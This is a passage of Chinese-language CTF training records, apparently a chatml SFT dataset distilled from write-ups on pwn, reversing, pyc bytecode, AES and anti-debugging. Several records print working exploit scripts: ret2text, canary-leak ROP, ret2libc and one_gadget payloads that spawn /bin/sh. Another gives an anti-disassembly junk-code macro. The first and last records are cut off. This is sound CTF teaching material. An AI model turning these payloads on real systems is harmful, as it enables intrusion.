"chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::0148feab60b5542d", "original_line": 3, "original_split": "test", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "\\[2021 鹤城杯\\]littleof", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "0148feab60b5542d", "source_split": "test", "split": "train", "split_group_key": "9efd977cf7ce8f11378a3dd6", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-775983a9602abfbd54b9", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“pwnableorw”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / pwnableorw\n关键词：goto、shellcode、orw、RELRO、PIE、RWX、ELF、三个函数都在白名单上，所以我们可以直接进行orw。、- exp、read\n蒸馏要点：\n- 几乎没有保护，所以我们可以尝试shellcode。\n- 程序提升让我们输入 shellcode 并且将 shellcode 指令当作函数调用执行。\n- 我们直接尝试shellcode，但是我们传统的通过`execve`获取shell的方式并不可行。\n- 这是因为这里所考察的并不是那种简单shellcode，通过题目名称我们可以知道这里我考察的是orw。\n- 而考察orw的题目一般都是沙箱题目。\n- 我们通过seccomp-tools这个工具来检查沙箱禁止了哪些系统调用。\n- 这里使用了白名单机制即允许指定的系统调用执行，其它全部禁止。\n可用于训练的标准回答：\n### pwnableorw\n\n- 查保护\n\n几乎没有保护，所以我们可以尝试shellcode。\n\n```c\n❯ checksec ./orw.orw\n    Arch:       i386-32-little\n    RELRO:      Partial RELRO\n    Stack:      Canary found\n    NX:         NX unknown - GNU_STACK missing\n    PIE:        No PIE (0x8048000)\n    Stack:      Executable\n    RWX:        Has RWX segments\n    Stripped:   No\n```\n\n- 分析程序\n\n程序提升让我们输入 shellcode 并且将 shellcode 指令当作函数调用执行。\n\n我们直接尝试shellcode，但是我们传统的通过`execve`获取shell的方式并不可行。\n\n这是因为这里所考察的并不是那种简单shellcode，通过题目名称我们可以知道这里我考察的是orw。\n\n而考察orw的题目一般都是沙箱题目。\n\n```c\nint __cdecl main(int argc, const char **argv, const char **envp)\n{\n  orw_seccomp();\n  printf(\"Give my your shellcode:\");\n  read(0, &shellcode, 0xC8u);\n  ((void (*)(void))shellcode)();\n  return 0;\n}\n```\n\n我们通过seccomp-tools这个工具来检查沙箱禁止了哪些系统调用。\n\n这里使用了白名单机制即允许指定的系统调用执行，其它全部禁止。\n\n可以看到我们orw中所用到的`open`、`read`、`write`三个函数都在白名单上，所以我们可以直接进行orw。\n\n```c\n❯ seccomp-tools dump ./orw.orw\n line  CODE  JT...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c1c38068d9f2124d", "original_line": 702, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "pwnableorw", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c1c38068d9f2124d", "source_split": "train", "split": "train", "split_group_key": "282048e2340fb71728e8fb55", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-77ab78fd11f83c68ea61", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《花指令：原理：反汇编算法的设计缺陷》中“快速插入花指令”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《花指令：原理：反汇编算法的设计缺陷》的“快速插入花指令”。\n语言/类型：c\n关联知识点：\n- 我们可以通过将花指令定义为宏来快速插入花指令。\n代码片段：\n```c\n#include\n#include\n\n#define FLOWER  \\\n    __asm__ __volatile__ ( \\\n        \"jz s\\n\\t\"         \\\n        \"jnz s\\n\\t\"        \\\n        \".byte 0xC7\\n\\t\"   \\\n        \"s:\\n\\t\"           \\\n    )\n\nint main(){\n    FLOWER;\n    printf(\"hello world\\n\");\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::1aa35b12ab69ef12", "original_line": 830, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "快速插入花指令", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "1aa35b12ab69ef12", "source_split": "train", "split": "train", "split_group_key": "48f8c95754d05db078a0dcb2", "tags": ["reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-77cf552643446a7f8319", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“bjdctf2020babystack2”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“bjdctf2020babystack2”。\n语言/类型：python\n关联知识点：\n- 在text段我们发现了backdoor函数。\n- 但是我们的第一个输入决定着接下来我们可以输入的数据长度。\n- 第一个输入如果大于有符号数的10，程序就会退出。\n- 但是在将第一个输入作为第二个输入的第三个参数时存在有符号数到无符号数的类型转换。\n- 如果我们第一个输入输入的是-1，就可以绕过限制，并且输入无限制的数据。\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nru(\"name:\\n\")\nsl(\"-1\")\n\nret=0x0000000000400599\n\npayload=b'a'*24+p64(0x40072A)\n\nr()\nsl(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::c1e6e9566b1bb67b", "original_line": 91, "original_split": "validation", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "bjdctf2020babystack2", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "c1e6e9566b1bb67b", "source_split": "validation", "split": "train", "split_group_key": "5558ed74f5d298c01c887827", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-77effae7121313c513ee", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“普通打包”？请用《Pyc：pyc文件》中的内容回答。", "role": "user"}, {"content": "1. python 程序通过工具可以打包为可执行程序\n2. python可以编译为 pyc 字节码文件，python解释器可以直接执行字节码文件\n3. 利用工具可以将 pyc 文件反编译为 py 文件。\n4. 经过 pyinstaller 打包的文件会有蟒蛇的图标，Windows 可以直接看图标判断，Linux就需要通过查看可执行文件中的字符串判断：`strings test | grep py`\n5. exe 可以直接用 pyinstxtractor 解包，但是 elf 文件就需要将文件中的 pydata 段提取出来用 pyinstxtractor 解包。\n6. 运行后会在当前目录下出现一个文件夹，往往是`源文件名_extracted`，此处为`text.exe_extracted`", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::9552a22e42e60537", "original_line": 113, "original_split": "validation", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "普通打包", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "9552a22e42e60537", "source_split": "validation", "split": "train", "split_group_key": "62fac77bf360d7db7b2c7ca6", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-77f42f5fdab769037554", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《2025强网杯 Qclac》中“校验token”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《2025强网杯 Qclac》的“校验token”。\n语言/类型：java\n关联知识点：\n- 将包名前 8 字节使用 sha256 计算一下。\n- 若包名是 com.qinquang.calc\n代码片段：\n```java\nsha256(\"com.qinquang.calc\") → abcd1234...\ntoken = \"abcd1234\"\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["ctf"], "original_id": "chatml::validation::distilled_training_data::validation::fcea91f714521e47", "original_line": 89, "original_split": "validation", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "校验token", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "fcea91f714521e47", "source_split": "validation", "split": "train", "split_group_key": "a16c0009ba91263a0d0353a9", "tags": ["ctf"], "title": "2025强网杯 Qclac", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-78e38d057df5dc3d3336", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pyc：pyc文件》的“局部变量”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pyc：pyc文件 / 局部变量\n关键词：STORE_FAST、LOAD_FAST、LOAD_CONST、local、对应的 python 代码：、python\ndef test():\n\tn = 0\n\tp = 0\n\tn = n + p、该变量的位置，如果没有看到、，那么该变量就是函数参数。\n\n而局部变量在使用之前肯定会使用、进行初始化。\n\n例如：、对应的 python 代码\n蒸馏要点：\n- `LOAD_FAST`：一般加载局部变量的值，也就是读取值，用于计算或者函数调用传参等\n- `STORE_FAST`：一般用于保存值到局部变量。\n- 对应的 python 代码：\n- 函数的参数也算局部变量，如何区分出是函数参数还是其他局部变量呢？\n- 参数没有初始化语句，也就是从函数开始到`LOAD_FAST`该变量的位置，如果没有看到`STORE_FAST`，那么该变量就是函数参数。\n- 而局部变量在使用之前肯定会使用`STORE_FAST`进行初始化。\n- 对应的 python 代码\n可用于训练的标准回答：\n#### 局部变量\n\n- `LOAD_FAST`：一般加载局部变量的值，也就是读取值，用于计算或者函数调用传参等\n- `STORE_FAST`：一般用于保存值到局部变量。\n\n例如：\n\n```\n0 LOAD_CONST    1 (0)\n2 STORE_FAST    0 (n)\n\n4 LOAD_CONST    1 (0)\n6 STORE_FAST    1 (p)\n\n8 LOAD_FAST     0 (n)\n```\n\n对应的 python 代码：\n\n```python\ndef test():\n\tn = 0\n\tp = 0\n\tn = n + p\n```\n\n函数的参数也算局部变量，如何区分出是函数参数还是其他局部变量呢？\n\n参数没有初始化语句，也就是从函数开始到`LOAD_FAST`该变量的位置，如果没有看到`STORE_FAST`，那么该变量就是函数参数。\n\n而局部变量在使用之前肯定会使用`STORE_FAST`进行初始化。\n\n例如：\n\n```\n0 LOAD_CONST   1 (0)\n2 STORE_FAST   1 (local)\n\n4 LOAD_GLOBAL  0 (print)\n6 LOAD_FAST    1 (local)\n8 LOAD_FAST    0 (arg1)\n10 CALL_FUNCTION 2\n```\n\n对应的 python 代码\n\n```python\ndef test(arg1):\n\tlocal = 0\n\tprint(local,arg1)\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::a6f02f78007115e8", "original_line": 638, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "局部变量", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "a6f02f78007115e8", "source_split": "train", "split": "train", "split_group_key": "6799be367b4394fc2194f692", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-7a3a42707713522a39e7", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“ret2libc”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / ret2libc\n关键词：libc_base、libc、sym、system_addr、bin_sh_addr、payload、ret2libc、read_addr、read、system\n蒸馏要点：\n- libc_base = read_addr - libc.sym['read']\n- system_addr = libc_base + libc.sym['system']\n- bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\\x00'))\n- payload = flat([cyclic(0x18),b'\\x00abcdefg',0,rdi,bin_sh_addr,ret,system_addr])\n- io.send(payload)\n可用于训练的标准回答：\n# ret2libc\n\nlibc_base = read_addr - libc.sym['read']\nsystem_addr = libc_base + libc.sym['system']\nbin_sh_addr = libc_base + next(libc.search(b'/bin/sh\\x00'))\npayload = flat([cyclic(0x18),b'\\x00abcdefg',0,rdi,bin_sh_addr,ret,system_addr])\nio.send(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::5d8031955ec2785a", "original_line": 818, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "ret2libc", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "5d8031955ec2785a", "source_split": "train", "split": "train", "split_group_key": "0f5f2d96ee2a6c6d58b0d283", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-7a9a3e4ced00eeaf5c65", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《2025强网杯 Qclac》的“onCreate”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：2025强网杯 Qclac / onCreate\n关键词：onCreate、getApplicationContext()、HistoryManager、plain\nhandleIntent(getIntent());、完成后调用、：用于处理启动该 Activity 的、getApplicationContext、handleIntent、getIntent、Intent\n蒸馏要点：\n- 在代码中的`onCreate`部分主要初始化了`HistoryManager`，传入`getApplicationContext()`函数的返回值，`getApplicationContext()`返回 Application 级别的全局 Context。\n- `onCreate`方法最后执行以下代码：\n- 在`onCreate`完成后调用`handleIntent(getIntent())`：用于处理启动该 Activity 的 `Intent`（包括 Deep Link）。也就是说无论是从 launcher 启动还是通过深度链接启动，都会处理一次传入的`Intent`。\n可用于训练的标准回答：\n##### onCreate\n\n在代码中的`onCreate`部分主要初始化了`HistoryManager`，传入`getApplicationContext()`函数的返回值，`getApplicationContext()`返回 Application 级别的全局 Context。\n\n`onCreate`方法最后执行以下代码：\n\n```plain\nhandleIntent(getIntent());\n```\n\n在`onCreate`完成后调用`handleIntent(getIntent())`：用于处理启动该 Activity 的 `Intent`（包括 Deep Link）。也就是说无论是从 launcher 启动还是通过深度链接启动，都会处理一次传入的`Intent`。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["ctf"], "original_id": "chatml::train::distilled_training_data::train::965f7bd4f6b95bfb", "original_line": 879, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "onCreate", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "965f7bd4f6b95bfb", "source_split": "train", "split": "train", "split_group_key": "999eb05e8df99d66c2bbd5b7", "tags": ["ctf"], "title": "2025强网杯 Qclac", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-7b32f90b0c21c3b64f3c", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“脚本”？请用《AES》中的内容回答。", "role": "user"}, {"content": "1. I_SBOX = [[82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 130, 242, 215, 250],\n2. [124, 227, 57, 131, 155, 47, 254, 135, 52, 142, 67, 68, 196, 222, 233, 203],\n3. [84, 123, 148, 50, 166, 194, 35, 61, 237, 76, 149, 11, 66, 249, 195, 78],\n4. [8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37],\n5. [114, 247, 245, 100, 134, 104, 152, 14, 212, 164, 92, 204, 93, 101, 182, 146],\n6. [108, 112, 72, 80, 252, 236, 185, 218, 94, 22, 70, 87, 167, 141, 157, 133],", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::149bd90036ca5210", "original_line": 911, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "脚本", "source": "AES.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "149bd90036ca5210", "source_split": "train", "split": "train", "split_group_key": "14fbf45516f7b22ddd55d1a4", "tags": ["crypto", "ctf-method"], "title": "AES", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-7d16b3521ec20ef94321", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“TLS 回调函数”？请用《反调试》中的内容回答。", "role": "user"}, {"content": "1. TLS（Thread Local Storage）回调函数在 Windows 中的作用是在线程启动时自动执行某些特定操作，而这个执行顺序是在进入线程的入口点代码之前的。\n2. 这里简要了解添加 TLS 回调函数的知识，重点了解如何去除。\n3. 手动添加 TLS 回调函数\n4. 手动添加 TLS，需要知道`IMAGE_TLS_DIRECTORY`结构体与 TLS 回调函数放到 PE 文件的哪些位置。向某个 PE 文件添加代码或者数据时候有如下三种来查找合适的位置：\n5. 增加最后一个节区域的大小\n6. 添加到节区域末尾的空白处", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::d20d92420b42576c", "original_line": 928, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "TLS 回调函数", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "d20d92420b42576c", "source_split": "train", "split": "train", "split_group_key": "f97c5d3f17c3e4c0a44b1b19", "tags": ["reverse"], "title": "反调试", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-7d2771f68991e1ad98c3", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[MoeCTF 2022]rop64”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [MoeCTF 2022]rop64\n关键词：canary、p64、elf、gift、ELF、rdi、payload、MoeCTF、rop64、ret2text\n蒸馏要点：\n- 覆盖canary最后一位通过printf泄露出canary。\n可用于训练的标准回答：\n### [MoeCTF 2022]rop64\n\n#ret2text #canary #栈平衡\n\n覆盖canary最后一位通过printf泄露出canary。\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nsh=0x00404058\nsys=elf.plt.system\n\nrdi=0x00000000004011de\nr()\ns(b\"a\"*40+b\"b\")\n\nru(b\"b\")\ncanary=u64(b\"\\x00\"+r(7))\nsuccess(hex(canary))\n\npayload=b\"a\"*40+p64(canary)+b\"a\"*8+p64(rdi)+p64(sh)+p64(0x0000000000401284)\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::52845b38dadbb274", "original_line": 901, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[MoeCTF 2022]rop64", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "52845b38dadbb274", "source_split": "train", "split": "train", "split_group_key": "17374f1ee529bc2f665c7993", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-7f4ab49966bff98b1d9d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《VM 指令虚拟化》的“VM虚拟机分析”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：VM 指令虚拟化 / VM虚拟机分析\n关键词：esp、eflags\n蒸馏要点：\n- 通常我们分析VM虚拟机，要将它 “抽象” 回去\n- 首先我们要分析出这个虚拟机的大致结构，然后找到它的伪指令，也就是那些模仿指令的函数，然后通过分析这些伪指令，分析出内存中哪个被当作是栈，哪些被当作是寄存器，哪个被当作是pc寄存器（也就是和x86_32架构中的eip一样），哪个被当作栈顶寄存器（esp），以及会用于调跳转的标志寄存器（eflags）等。\n- 给可执行程序和opcode，逆向emulator，结合opcode文件，推出flag\n- 只给可执行程序，逆向emulator，构造opcode读取flag\n- 分析虚拟机入口，搞清虚拟机的输入，或者opcode位置\n- 理清虚拟机结构，包括Dispatcher和各个Handler\n- 逆向各个Handler，分析opcode的意义\n可用于训练的标准回答：\n## VM虚拟机分析\n\n通常我们分析VM虚拟机，要将它 “抽象” 回去\n\n首先我们要分析出这个虚拟机的大致结构，然后找到它的伪指令，也就是那些模仿指令的函数，然后通过分析这些伪指令，分析出内存中哪个被当作是栈，哪些被当作是寄存器，哪个被当作是pc寄存器（也就是和x86_32架构中的eip一样），哪个被当作栈顶寄存器（esp），以及会用于调跳转的标志寄存器（eflags）等。\n\n比赛中的考法\n\n- 给可执行程序和opcode，逆向emulator，结合opcode文件，推出flag\n- 只给可执行程序，逆向emulator，构造opcode读取flag\n\n逆向过程：\n\n- 分析虚拟机入口，搞清虚拟机的输入，或者opcode位置\n- 理清虚拟机结构，包括Dispatcher和各个Handler\n- 逆向各个Handler，分析opcode的意义", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::e7ed9ea911f92134", "original_line": 972, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "VM虚拟机分析", "source": "VM 指令虚拟化.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "e7ed9ea911f92134", "source_split": "train", "split": "train", "split_group_key": "71e0894fb95d99d2521ba4ec", "tags": ["pwn", "reverse", "ctf-method"], "title": "VM 指令虚拟化", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-7ff3b9582df1e80cd074", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“2025湾区杯-oddcanary”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / 2025湾区杯-oddcanary\n关键词：lambda、bss、data、sla、name、text、good、puts、vuln、init_array\n蒸馏要点：\n- canary绕过\n- 分析发现`init_array`字段有函数注册，这样的话函数会在程序启动后先执行。\n- 将`ctfer`复制到`name`全局变量，然后将一段字符串复制到`bss`字段。\n- 分析程序将 0x28 字节读到 buf，然后在`buf[read_len]`位置写入一个 8 字节的 10。然后将puts的got表复制到bss段。\n- 这样会导致在第二次执行`good_news`函数时，就会将`bss`段的`puts`的 got 表打印出来。\n- vuln 函数是溢出部分：\n- 由于溢出较小，所以打 one_gadget 来 getshell。\n可用于训练的标准回答：\n## 2025湾区杯-oddcanary\n\n- canary绕过\n\n分析发现`init_array`字段有函数注册，这样的话函数会在程序启动后先执行。\n\n将`ctfer`复制到`name`全局变量，然后将一段字符串复制到`bss`字段。\n\n分析程序将 0x28 字节读到 buf，然后在`buf[read_len]`位置写入一个 8 字节的 10。然后将puts的got表复制到bss段。\n\n这样会导致在第二次执行`good_news`函数时，就会将`bss`段的`puts`的 got 表打印出来。\n\nvuln 函数是溢出部分：\n\n由于溢出较小，所以打 one_gadget 来 getshell。\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\nia = lambda: io.interactive()\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('odd_canar...", "role": 